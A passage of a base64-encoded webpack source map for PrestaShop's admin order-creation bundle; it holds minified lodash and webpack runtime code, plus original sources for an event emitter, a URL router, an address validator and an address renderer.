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FBUUEsRUFBT0MsUUFBUzYwQyxHQUczRTkwQyxFQUFPaTFDLFFBQVMsRUFHVGoxQyxFQUFPQyxRQ3hCZjYwQyxFQUFvQm5nQyxFQUFJLFdBQ3ZCLEdBQTBCLGlCQUFmd2dDLFdBQXlCLE9BQU9BLFdBQzNDLElBQ0MsT0FBT3A5RCxNQUFRLElBQUlrdUIsU0FBUyxjQUFiLEdBQ2QsTUFBT3RrQixHQUNSLEdBQXNCLGlCQUFYdkssT0FBcUIsT0FBT0EsUUFMakIsR0NBeEIwOUQsRUFBb0JNLElBQU9wMUMsSUFDMUJBLEVBQU93cEIsTUFBUSxHQUNWeHBCLEVBQU9xMUMsV0FBVXIxQyxFQUFPcTFDLFNBQVcsSUFDakNyMUMsRywwSkNxQlIsSSxPQUFBLFcsMkJBRU83b0IsRUFBS0MsT0FBTEQsRUFDSG0rRCxFQUFtQixLQW9DdkJuK0QsRUFBRVMsVUFBVTI5RCxPQUFNLFdBQ2hCRCxFQUFtQixJQUFJanFELGEseUJBL0J6QixTQUFnQ2MsR0FDTCxPQUFyQm1wRCxFQUNGQSxFQUFpQmwxRCxPQUFPK0wsR0FFeEJva0IsUUFBUWlsQyxJQUFJLGlFLHVCQU9oQixTQUE4QnZwRCxHQUNILE9BQXJCcXBELEVBQ0ZBLEVBQWlCdHBELHFCQUFxQkMsR0FFdENza0IsUUFBUWlsQyxJQUFJLHdFLGNBT2hCLFdBQzJCLE9BQXJCRixFQUlKQSxFQUFpQnBwRCxjQUhmcWtCLFFBQVFpbEMsSUFBSSx5RSIsImZpbGUiOiJvcmRlcl9jcmVhdGUuYnVuZGxlLmpzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuXG5pbXBvcnQgRXZlbnRFbWl0dGVyQ2xhc3MgZnJvbSAnZXZlbnRzJztcblxuLyoqXG4gKiBXZSBpbnN0YW5jaWF0ZSBvbmUgRXZlbnRFbWl0dGVyIChyZXN0cmljdGVkIHZpYSBhIGNvbnN0KSBzbyB0aGF0IGV2ZXJ5IGNvbXBvbmVudHNcbiAqIHJlZ2lzdGVyL2Rpc3BhdGNoIG9uIHRoZSBzYW1lIG9uZSBhbmQgY2FuIGNvbW11bmljYXRlIHdpdGggZWFjaCBvdGhlci5cbiAqL1xuZXhwb3J0IGNvbnN0IEV2ZW50RW1pdHRlciA9IG5ldyBFdmVudEVtaXR0ZXJDbGFzcygpO1xuXG5leHBvcnQgZGVmYXVsdCBFdmVudEVtaXR0ZXI7XG4iLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5cbmltcG9ydCBSb3V0aW5nIGZyb20gJ2Zvcy1yb3V0aW5nJztcbmltcG9ydCByb3V0ZXMgZnJvbSAnQGpzL2Zvc19qc19yb3V0ZXMuanNvbic7XG5cbmNvbnN0IHskfSA9IHdpbmRvdztcblxuLyoqXG4gKiBXcmFwcyBGT1NKc1JvdXRpbmdidW5kbGUgd2l0aCBleHBvc2VkIHJvdXRlcy5cbiAqIFRvIGV4cG9zZSByb3V0ZSBhZGQgb3B0aW9uIGBleHBvc2U6IHRydWVgIGluIC55bWwgcm91dGluZyBjb25maWdcbiAqXG4gKiBlLmcuXG4gKlxuICogYG15X3JvdXRlXG4gKiAgICBwYXRoOiAvbXktcGF0aFxuICogICAgb3B0aW9uczpcbiAqICAgICAgZXhwb3NlOiB0cnVlXG4gKiBgXG4gKiBBbmQgcnVuIGBiaW4vY29uc29sZSBmb3M6anMtcm91dGluZzpkdW1wIC0tZm9ybWF0PWpzb24gLS10YXJnZXQ9YWRtaW4tZGV2L3RoZW1lcy9uZXctdGhlbWUvanMvZm9zX2pzX3JvdXRlcy5qc29uYFxuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBSb3V0ZXIge1xuICBjb25zdHJ1Y3RvcigpIHtcbiAgICBpZiAod2luZG93LnByZXN0YXNob3AgJiYgd2luZG93LnByZXN0YXNob3AuY3VzdG9tUm91dGVzKSB7XG4gICAgICBPYmplY3QuYXNzaWduKHJvdXRlcy5yb3V0ZXMsIHdpbmRvdy5wcmVzdGFzaG9wLmN1c3RvbVJvdXRlcyk7XG4gICAgfVxuXG4gICAgUm91dGluZy5zZXREYXRhKHJvdXRlcyk7XG4gICAgUm91dGluZy5zZXRCYXNlVXJsKFxuICAgICAgJChkb2N1bWVudClcbiAgICAgICAgLmZpbmQoJ2JvZHknKVxuICAgICAgICAuZGF0YSgnYmFzZS11cmwnKSxcbiAgICApO1xuXG4gICAgcmV0dXJuIHRoaXM7XG4gIH1cblxuICAvKipcbiAgICogRGVjb3JhdGVkIFwiZ2VuZXJhdGVcIiBtZXRob2QsIHdpdGggcHJlZGVmaW5lZCBzZWN1cml0eSB0b2tlbiBpbiBwYXJhbXNcbiAgICpcbiAgICogQHBhcmFtIHJvdXRlXG4gICAqIEBwYXJhbSBwYXJhbXNcbiAgICpcbiAgICogQHJldHVybnMge1N0cmluZ31cbiAgICovXG4gIGdlbmVyYXRlKHJvdXRlLCBwYXJhbXMgPSB7fSkge1xuICAgIGNvbnN0IHRva2VuaXplZFBhcmFtcyA9IE9iamVjdC5hc3NpZ24ocGFyYW1zLCB7XG4gICAgICBfdG9rZW46ICQoZG9jdW1lbnQpXG4gICAgICAgIC5maW5kKCdib2R5JylcbiAgICAgICAgLmRhdGEoJ3Rva2VuJyksXG4gICAgfSk7XG5cbiAgICByZXR1cm4gUm91dGluZy5nZW5lcmF0ZShyb3V0ZSwgdG9rZW5pemVkUGFyYW1zKTtcbiAgfVxufVxuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuXG4vKipcbiAqIENoZWNrcyBpZiBjb3JyZWN0IGFkZHJlc3NlcyBhcmUgc2VsZWN0ZWQuXG4gKiBUaGVyZSBpcyBhIGNhc2Ugd2hlbiBvcHRpb25zIGxpc3QgY2Fubm90IGNvbnRhaW4gY2FydCBhZGRyZXNzZXMgJ3NlbGVjdGVkJyB2YWx1ZXNcbiAqICBiZWNhdXNlIHRob3NlIGFyZSBvdXRkYXRlZCBpbiBkYiAoZS5nLiBkZWxldGVkIGFmdGVyIGNhcnQgY3JlYXRpb24gb3IgY291bnRyeSBpcyBkaXNhYmxlZClcbiAqXG4gKiBAcGFyYW0ge0FycmF5fSBhZGRyZXNzZXNcbiAqXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn1cbiAqL1xuZXhwb3J0IGNvbnN0IFZhbGlkYXRlQWRkcmVzc2VzID0gKGFkZHJlc3NlcykgPT4ge1xuICBsZXQgZGVsaXZlcnlWYWxpZCA9IGZhbHNlO1xuICBsZXQgaW52b2ljZVZhbGlkID0gZmFsc2U7XG5cbiAgYWRkcmVzc2VzLmZvckVhY2goKGFkZHJlc3MpID0+IHtcbiAgICBpZiAoYWRkcmVzcy5kZWxpdmVyeSkge1xuICAgICAgZGVsaXZlcnlWYWxpZCA9IHRydWU7XG4gICAgfVxuXG4gICAgaWYgKGFkZHJlc3MuaW52b2ljZSkge1xuICAgICAgaW52b2ljZVZhbGlkID0gdHJ1ZTtcbiAgICB9XG4gIH0pO1xuXG4gIHJldHVybiBkZWxpdmVyeVZhbGlkICYmIGludm9pY2VWYWxpZDtcbn07XG5cbmV4cG9ydCBkZWZhdWx0IFZhbGlkYXRlQWRkcmVzc2VzO1xuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuXG5pbXBvcnQgY3JlYXRlT3JkZXJNYXAgZnJvbSAnLi9jcmVhdGUtb3JkZXItbWFwJztcbmltcG9ydCBSb3V0ZXIgZnJvbSAnLi4vLi4vLi4vY29tcG9uZW50cy9yb3V0ZXInO1xuXG5jb25zdCB7JH0gPSB3aW5kb3c7XG5cbi8qKlxuICogUmVuZGVycyBEZWxpdmVyeSAmIEludm9pY2UgYWRkcmVzc2VzIHNlbGVjdFxuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBBZGRyZXNzZXNSZW5kZXJlciB7XG4gIGNvbnN0cnVjdG9yKCkge1xuICAgIHRoaXMucm91dGVyID0gbmV3IFJvdXRlcigpO1xuICB9XG5cbiAgLyoqXG4gICAqIEBwYXJhbSB7QXJyYXl9IGFkZHJlc3Nlc1xuICAgKiBAcGFyYW0ge2ludH0gY2FydElkXG4gICAqL1xuICByZW5kZXIoYWRkcmVzc2VzLCBjYXJ0SWQpIHtcbiAgICB0aGlzLmNsZWFuQWRkcmVzc2VzKCk7XG4gICAgaWYgKGFkZHJlc3Nlcy5sZW5ndGggPT09IDApIHtcbiAgICAgIHRoaXMuaGlkZUFkZHJlc3Nlc0NvbnRlbnQoKTtcbiAgICAgIHRoaXMuc2hvd0VtcHR5QWRkcmVzc2VzV2FybmluZygpO1xuICAgICAgdGhpcy5zaG93QWRkcmVzc2VzQmxvY2soKTtcblxuICAgICAgcmV0dXJuO1xuICAgIH1cblxuICAgIHRoaXMuc2hvd0FkZHJlc3Nlc0NvbnRlbnQoKTtcbiAgICB0aGlzLmhpZGVFbXB0eUFkZHJlc3Nlc1dhcm5pbmcoKTtcblxuICAgIE9iamVjdC52YWx1ZXMoYWRkcmVzc2VzKS5mb3JFYWNoKChhZGRyZXNzKSA9PiB7XG4gICAgICB0aGlzLnJlbmRlckRlbGl2ZXJ5QWRkcmVzcyhhZGRyZXNzLCBjYXJ0SWQpO1xuICAgICAgdGhpcy5yZW5kZXJJbnZvaWNlQWRkcmVzcyhhZGRyZXNzLCBjYXJ0SWQpO1xuICAgIH0pO1xuXG4gICAgdGhpcy5zaG93QWRkcmVzc2VzQmxvY2soKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZW5kZXJzIGRlbGl2Z